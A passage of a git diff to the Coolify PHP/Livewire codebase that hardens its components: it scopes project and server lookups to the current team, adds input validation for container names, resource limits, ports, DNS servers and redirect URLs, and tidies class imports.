8aff83153..8becdf585 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -121,8 +121,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); @@ -133,7 +133,7 @@ public function submit() // Determine the image tag based on whether it's a hash or regular tag $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'docker-image-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/New/EmptyProject.php b/app/Livewire/Project/New/EmptyProject.php index 0360365a9..1cdc7e098 100644 --- a/app/Livewire/Project/New/EmptyProject.php +++ b/app/Livewire/Project/New/EmptyProject.php @@ -10,7 +10,7 @@ class EmptyProject extends Component { public function createEmptyProject() { - $project = Project::create([ + $project = Project::forceCreate([ 'name' => generate_random_name(), 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 61ae0e151..6aa8db085 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -8,6 +8,7 @@ use App\Models\StandaloneDocker; use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Route; use Livewire\Component; @@ -168,7 +169,7 @@ public function submit() 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { @@ -185,10 +186,10 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index e46ad7d78..ba058c6ff 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Illuminate\Support\Str; use Livewire\Component; use Spatie\Url\Url; @@ -66,7 +67,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]; } @@ -144,8 +145,8 @@ public function submit() // Note: git_repository has already been validated and transformed in get_git_source() // It may now be in SSH format (git@host:repo.git) which is valid for deploy keys - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); if ($this->git_source === 'other') { $application_init = [ 'name' => generate_random_name(), @@ -182,7 +183,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = Application::forceCreate($application_init); $application->settings->is_static = $this->is_static; $application->settings->save(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 3df31a6a3..6bd71d246 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Carbon\Carbon; use Livewire\Component; use Spatie\Url\Url; @@ -72,7 +73,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } @@ -233,7 +234,7 @@ private function getBranch() return; } - if ($this->git_source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->git_source->getMorphClass() === GithubApp::class) { ['rate_limit_remaining' => $this->rate_limit_remaining, 'rate_limit_reset' => $this->rate_limit_reset] = githubApi(source: $this->git_source, endpoint: "/repos/{$this->git_repository}/branches/{$this->git_branch}"); $this->rate_limit_reset = Carbon::parse((int) $this->rate_limit_reset)->format('Y-M-d H:i:s'); $this->branchFound = true; @@ -278,8 +279,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $project_uuid)->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $environment_uuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); + $environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail(); if ($this->build_pack === 'dockercompose' && isDev() && $this->new_compose_services) { $server = $destination->server; @@ -298,7 +299,7 @@ public function submit() $new_service['source_id'] = $this->git_source->id; $new_service['source_type'] = $this->git_source->getMorphClass(); } - $service = Service::create($new_service); + $service = Service::forceCreate($new_service); return redirect()->route('project.service.configuration', [ 'service_uuid' => $service->uuid, @@ -345,7 +346,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = Application::forceCreate($application_init); $application->settings->is_static = $this->isStatic; $application->settings->save(); diff --git a/app/Livewire/Project/New/Select.php b/app/Livewire/Project/New/Select.php index c5dc13987..165e4b59e 100644 --- a/app/Livewire/Project/New/Select.php +++ b/app/Livewire/Project/New/Select.php @@ -65,7 +65,7 @@ public function mount() $this->existingPostgresqlUrl = 'postgres://coolify:password@coolify-db:5432'; } $projectUuid = data_get($this->parameters, 'project_uuid'); - $project = Project::whereUuid($projectUuid)->firstOrFail(); + $project = Project::ownedByCurrentTeam()->whereUuid($projectUuid)->firstOrFail(); $this->environments = $project->environments; $this->selectedEnvironment = $this->environments->where('uuid', data_get($this->parameters, 'environment_uuid'))->firstOrFail()->name; @@ -79,7 +79,7 @@ public function mount() $this->type = $queryType; $this->server_id = $queryServerId; $this->destination_uuid = $queryDestination; - $this->server = Server::find($queryServerId); + $this->server = Server::ownedByCurrentTeam()->find($queryServerId); $this->current_step = 'select-postgresql-type'; } } catch (\Exception $e) { diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 9cc4fbbe2..400b58fea 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -45,14 +45,14 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $port = get_port_from_dockerfile($this->dockerfile); if (! $port) { $port = 80; } - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'dockerfile-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 966c66a14..dbe56b079 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -91,7 +91,7 @@ public function mount() if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($service_payload, 'connect_to_docker_network', true); } - $service = Service::create($service_payload); + $service = Service::forceCreate($service_payload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index c77a3a516..cb2d977bc 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -51,9 +51,9 @@ class Index extends Component public bool $excludeFromStatus = false; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isPublic = false; @@ -91,7 +91,7 @@ class Index extends Component 'description' => 'nullable', 'image' => 'required', 'excludeFromStatus' => 'required|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', @@ -160,8 +160,8 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->description = $this->description; $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; - $this->serviceDatabase->public_port = $this->publicPort; - $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; + $this->serviceDatabase->public_port = $this->publicPort ?: null; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout ?: null; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index 22605e1bb..d0121bdc5 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -16,7 +16,9 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Process; +use Livewire\Attributes\Locked; use Livewire\Component; class GetLogs extends Component @@ -29,12 +31,16 @@ class GetLogs extends Component public string $errors = ''; + #[Locked] public Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|null $resource = null; + #[Locked] public ServiceApplication|ServiceDatabase|null $servicesubtype = null; + #[Locked] public Server $server; + #[Locked] public ?string $container = null; public ?string $displayName = null; @@ -54,7 +60,7 @@ class GetLogs extends Component public function mount() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->showTimeStamps = $this->resource->settings->is_include_timestamps; } else { if ($this->servicesubtype) { @@ -63,7 +69,7 @@ public function mount() $this->showTimeStamps = $this->resource->is_include_timestamps; } } - if ($this->resource?->getMorphClass() === \App\Models\Application::class) { + if ($this->resource?->getMorphClass() === Application::class) { if (str($this->container)->contains('-pr-')) { $this->pull_request = 'Pull Request: '.str($this->container)->afterLast('-pr-')->beforeLast('_')->value(); } @@ -74,11 +80,11 @@ public function mount() public function instantSave() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->resource->settings->is_include_timestamps = $this->showTimeStamps; $this->resource->settings->save(); } - if ($this->resource->getMorphClass() === \App\Models\Service::class) { + if ($this->resource->getMorphClass() === Service::class) { $serviceName = str($this->container)->beforeLast('-')->value(); $subType = $this->resource->applications()->where('name', $serviceName)->first(); if ($subType) { @@ -118,10 +124,20 @@ public function toggleStreamLogs() public function getLogs($refresh = false) { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + $this->outputs = 'Unauthorized.'; + + return; + } if (! $this->server->isFunctional()) { return; } - if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === \App\Models\Service::class || str($this->container)->contains('-pr-'))) { + if ($this->container && ! ValidationPatterns::isValidContainerName($this->container)) { + $this->outputs = 'Invalid container name.'; + + return; + } + if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === Service::class || str($this->container)->contains('-pr-'))) { return; } if ($this->numberOfLines <= 0 || is_null($this->numberOfLines)) { @@ -194,9 +210,15 @@ public function copyLogs(): string public function downloadAllLogs(): string { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + return ''; + } if (! $this->server->isFunctional() || ! $this->container) { return ''; } + if (! ValidationPatterns::isValidContainerName($this->container)) { + return ''; + } if ($this->showTimeStamps) { if ($this->server->isSwarm()) { diff --git a/app/Livewire/Project/Shared/ResourceLimits.php b/app/Livewire/Project/Shared/ResourceLimits.php index 0b3840289..8a14dc10c 100644 --- a/app/Livewire/Project/Shared/ResourceLimits.php +++ b/app/Livewire/Project/Shared/ResourceLimits.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Shared; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Validation\ValidationException; use Livewire\Component; class ResourceLimits extends Component @@ -16,24 +17,24 @@ class ResourceLimits extends Component public ?string $limitsCpuset = null; - public ?int $limitsCpuShares = null; + public mixed $limitsCpuShares = null; public string $limitsMemory; public string $limitsMemorySwap; - public int $limitsMemorySwappiness; + public mixed $limitsMemorySwappiness = 0; public string $limitsMemoryReservation; protected $rules = [ - 'limitsMemory' => 'required|string', - 'limitsMemorySwap' => 'required|string', + 'limitsMemory' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], + 'limitsMemorySwap' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], 'limitsMemorySwappiness' => 'required|integer|min:0|max:100', - 'limitsMemoryReservation' => 'required|string', - 'limitsCpus' => 'nullable', - 'limitsCpuset' => 'nullable', - 'limitsCpuShares' => 'nullable', + 'limitsMemoryReservation' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], + 'limitsCpus' => ['nullable', 'regex:/^\d*\.?\d+$/'], + 'limitsCpuset' => ['nullable', 'regex:/^\d+([,-]\d+)*$/'], + 'limitsCpuShares' => 'nullable|integer|min:0', ]; protected $validationAttributes = [ @@ -46,6 +47,19 @@ class ResourceLimits extends Component 'limitsCpuShares' => 'cpu shares', ]; + protected $messages = [ + 'limitsMemory.regex' => 'Maximum Memory Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsMemorySwap.regex' => 'Maximum Swap Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsMemoryReservation.regex' => 'Soft Memory Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsCpus.regex' => 'Number of CPUs must be a number (integer or decimal). Example: 0.5, 2.', + 'limitsCpuset.regex' => 'CPU sets must be a comma-separated list of CPU numbers or ranges. Example: 0-2 or 0,1,3.', + 'limitsMemorySwappiness.integer' => 'Swappiness must be a whole number between 0 and 100.', + 'limitsMemorySwappiness.min' => 'Swappiness must be between 0 and 100.', + 'limitsMemorySwappiness.max' => 'Swappiness must be between 0 and 100.', + 'limitsCpuShares.integer' => 'CPU Weight must be a whole number.', + 'limitsCpuShares.min' => 'CPU Weight must be a positive number.', + ]; + /** * Sync data between component properties and model * @@ -57,10 +71,10 @@ private function syncData(bool $toModel = false): void // Sync TO model (before save) $this->resource->limits_cpus = $this->limitsCpus; $this->resource->limits_cpuset = $this->limitsCpuset; - $this->resource->limits_cpu_shares = $this->limitsCpuShares; + $this->resource->limits_cpu_shares = (int) $this->limitsCpuShares; $this->resource->limits_memory = $this->limitsMemory; $this->resource->limits_memory_swap = $this->limitsMemorySwap; - $this->resource->limits_memory_swappiness = $this->limitsMemorySwappiness; + $this->resource->limits_memory_swappiness = (int) $this->limitsMemorySwappiness; $this->resource->limits_memory_reservation = $this->limitsMemoryReservation; } else { // Sync FROM model (on load/refresh) @@ -91,7 +105,7 @@ public function submit() if (! $this->limitsMemorySwap) { $this->limitsMemorySwap = '0'; } - if (is_null($this->limitsMemorySwappiness)) { + if ($this->limitsMemorySwappiness === '' || is_null($this->limitsMemorySwappiness)) { $this->limitsMemorySwappiness = 60; } if (! $this->limitsMemoryReservation) { @@ -103,7 +117,7 @@ public function submit() if ($this->limitsCpuset === '') { $this->limitsCpuset = null; } - if (is_null($this->limitsCpuShares)) { + if ($this->limitsCpuShares === '' || is_null($this->limitsCpuShares)) { $this->limitsCpuShares = 1024; } @@ -112,6 +126,12 @@ public function submit() $this->syncData(true); $this->resource->save(); $this->dispatch('success', 'Resource limits updated.'); + } catch (ValidationException $e) { + foreach ($e->validator->errors()->all() as $message) { + $this->dispatch('error', $message); + } + + return; } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index e769e4bcb..301c51be9 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -7,9 +7,18 @@ use App\Actions\Service\StartService; use App\Actions\Service\StopService; use App\Jobs\VolumeCloneJob; +use App\Models\Application; use App\Models\Environment; use App\Models\Project; +use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneMariadb; +use App\Models\StandaloneMongodb; +use App\Models\StandaloneMysql; +use App\Models\StandalonePostgresql; +use App\Models\StandaloneRedis; use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -60,7 +69,7 @@ public function cloneTo($destination_id) $uuid = (string) new Cuid2; $server = $new_destination->server; - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $new_resource = clone_application($this->resource, $new_destination, ['uuid' => $uuid], $this->cloneVolumeData); $route = route('project.application.configuration', [ @@ -71,21 +80,21 @@ public function cloneTo($destination_id) return redirect()->to($route); } elseif ( - $this->resource->getMorphClass() === \App\Models\StandalonePostgresql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMongodb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMysql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMariadb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneRedis::class || - $this->resource->getMorphClass() === \App\Models\StandaloneKeydb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneDragonfly::class || - $this->resource->getMorphClass() === \App\Models\StandaloneClickhouse::class + $this->resource->getMorphClass() === StandalonePostgresql::class || + $this->resource->getMorphClass() === StandaloneMongodb::class || + $this->resource->getMorphClass() === StandaloneMysql::class || + $this->resource->getMorphClass() === StandaloneMariadb::class || + $this->resource->getMorphClass() === StandaloneRedis::class || + $this->resource->getMorphClass() === StandaloneKeydb::class || + $this->resource->getMorphClass() === StandaloneDragonfly::class || + $this->resource->getMorphClass() === StandaloneClickhouse::class ) { $uuid = (string) new Cuid2; $new_resource = $this->resource->replicate([ 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'status' => 'exited', @@ -133,7 +142,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $new_resource->id, ]); @@ -162,7 +172,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $new_resource->id, ]); $newStorage->save(); @@ -175,7 +185,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $new_resource->id, 'database_type' => $new_resource->getMorphClass(), @@ -194,7 +204,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } @@ -211,7 +221,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'destination_id' => $new_destination->id, @@ -232,7 +242,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $new_resource->id, 'team_id' => currentTeam()->id, @@ -246,7 +256,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $new_resource->id, 'resourceable_type' => $new_resource->getMorphClass(), ]); @@ -254,9 +264,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -271,7 +281,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -296,9 +307,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -313,7 +324,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -354,9 +366,9 @@ public function moveTo($environment_id) try { $this->authorize('update', $this->resource); $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); - $this->resource->update([ + $this->resource->forceFill([ 'environment_id' => $environment_id, - ]); + ])->save(); if ($this->resource->type() === 'application') { $route = route('project.application.configuration', [ 'project_uuid' => $new_environment->project->uuid, diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index 02c13a66c..882737f09 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -52,9 +52,15 @@ class Show extends Component #[Locked] public string $task_uuid; - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) + public function mount() { try { + $task_uuid = request()->route('task_uuid'); + $project_uuid = request()->route('project_uuid'); + $environment_uuid = request()->route('environment_uuid'); + $application_uuid = request()->route('application_uuid'); + $service_uuid = request()->route('service_uuid'); + $this->task_uuid = $task_uuid; if ($application_uuid) { $this->type = 'application'; @@ -105,6 +111,19 @@ public function syncData(bool $toModel = false) } } + public function toggleEnabled() + { + try { + $this->authorize('update', $this->resource); + $this->isEnabled = ! $this->isEnabled; + $this->task->enabled = $this->isEnabled; + $this->task->save(); + $this->dispatch('success', $this->isEnabled ? 'Scheduled task enabled.' : 'Scheduled task disabled.'); + } catch (\Exception $e) { + return handleError($e); + } + } + public function instantSave() { try { diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index e884abb4e..b9628dd0d 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -42,7 +42,7 @@ public function submit() { try { $this->validate(); - $environment = Environment::create([ + $environment = Environment::forceCreate([ 'name' => $this->name, 'project_id' => $this->project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Server/Advanced.php b/app/Livewire/Server/Advanced.php index dba1b4903..b39da5e5a 100644 --- a/app/Livewire/Server/Advanced.php +++ b/app/Livewire/Server/Advanced.php @@ -15,17 +15,17 @@ class Advanced extends Component #[Validate(['string'])] public string $serverDiskUsageCheckFrequency = '0 23 * * *'; - #[Validate(['integer', 'min:1', 'max:99'])] - public int $serverDiskUsageNotificationThreshold = 50; + #[Validate(['required', 'integer', 'min:1', 'max:99'])] + public int|string $serverDiskUsageNotificationThreshold = 50; - #[Validate(['integer', 'min:1'])] - public int $concurrentBuilds = 1; + #[Validate(['required', 'integer', 'min:1'])] + public int|string $concurrentBuilds = 1; - #[Validate(['integer', 'min:1'])] - public int $dynamicTimeout = 1; + #[Validate(['required', 'integer', 'min:1'])] + public int|string $dynamicTimeout = 1; - #[Validate(['integer', 'min:1'])] - public int $deploymentQueueLimit = 25; + #[Validate(['required', 'integer', 'min:1'])] + public int|string $deploymentQueueLimit = 25; public function mount(string $server_uuid) { diff --git a/app/Livewire/Server/Destinations.php b/app/Livewire/Server/Destinations.php index 117b43ad6..f41ca00f3 100644 --- a/app/Livewire/Server/Destinations.php +++ b/app/Livewire/Server/Destinations.php @@ -43,7 +43,7 @@ public function add($name) return; } else { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $this->name, 'server_id' => $this->server->id, @@ -57,7 +57,7 @@ public function add($name) return; } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $name, 'server_id' => $this->server->id, diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index d5f30fca0..c2d8205ef 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -6,6 +6,7 @@ use App\Actions\Proxy\SaveProxyConfiguration; use App\Enums\ProxyTypes; use App\Models\Server; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -41,9 +42,13 @@ public function getListeners() ]; } - protected $rules = [ - 'generateExactLabels' => 'required|boolean', - ]; + protected function rules() + { + return [ + 'generateExactLabels' => 'required|boolean', + 'redirectUrl' => ['nullable', new SafeExternalUrl], + ]; + } public function mount() { @@ -147,6 +152,7 @@ public function submit() { try { $this->authorize('update', $this->server); + $this->validate(); SaveProxyConfiguration::run($this->server, $this->proxySettings); $this->server->proxy->redirect_url = $this->redirectUrl; $this->server->save(); diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index dff379ae1..a4b35891b 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -25,13 +25,13 @@ class Sentinel extends Component public ?string $sentinelUpdatedAt = null; #[Validate(['required', 'integer', 'min:1'])] - public int $sentinelMetricsRefreshRateSeconds; + public int|string $sentinelMetricsRefreshRateSeconds; #[Validate(['required', 'integer', 'min:1'])] - public int $sentinelMetricsHistoryDays; + public int|string $sentinelMetricsHistoryDays; #[Validate(['required', 'integer', 'min:10'])] - public int $sentinelPushIntervalSeconds; + public int|string $sentinelPushIntervalSeconds; #[Validate(['nullable', 'url'])] public ?string $sentinelCustomUrl = null; diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index ad478273f..d31f68859 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -3,6 +3,7 @@ namespace App\Livewire\Settings; use App\Models\InstanceSettings; +use App\Rules\ValidDnsServers; use App\Rules\ValidIpOrCidr; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,6 @@ class Advanced extends Component #[Validate('boolean')] public bool $is_dns_validation_enabled; - #[Validate('nullable|string')] public ?string $custom_dns_servers = null; #[Validate('boolean')] @@ -43,7 +43,7 @@ public function rules() 'is_registration_enabled' => 'boolean', 'do_not_track' => 'boolean', 'is_dns_validation_enabled' => 'boolean', - 'custom_dns_servers' => 'nullable|string', + 'custom_dns_servers' => ['nullable', 'string', new ValidDnsServers], 'is_api_enabled' => 'boolean', 'allowed_ips' => ['nullable', 'string', new ValidIpOrCidr], 'is_sponsorship_popup_enabled' => 'boolean', @@ -157,6 +157,19 @@ public function instantSave() } } + public function toggleRegistration($password): bool + { + if (! verifyPasswordConfirmation($password, $this)) { + return false; + } + + $this->settings->is_registration_enabled = $this->is_registration_enabled = true; + $this->settings->save(); + $this->dispatch('success', 'Registration has been enabled.'); + + return true; + } + public function toggleTwoStepConfirmation($password): bool { if (! verifyPasswordConfirmation($password, $this)) { diff --git a/app/Livewire/SettingsBackup.php b/app/Livewire/SettingsBackup.php index 84f5c6081..a111a6096 100644 --- a/app/Livewire/SettingsBackup.php +++ b/app/Livewire/SettingsBackup.php @@ -6,6 +6,7 @@ use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\Server; +use App\Models\StandaloneDocker; use App\Models\StandalonePostgresql; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -82,7 +83,7 @@ public function addCoolifyDatabase() $postgres_password = $envs['POSTGRES_PASSWORD']; $postgres_user = $envs['POSTGRES_USER']; $postgres_db = $envs['POSTGRES_DB']; - $this->database = 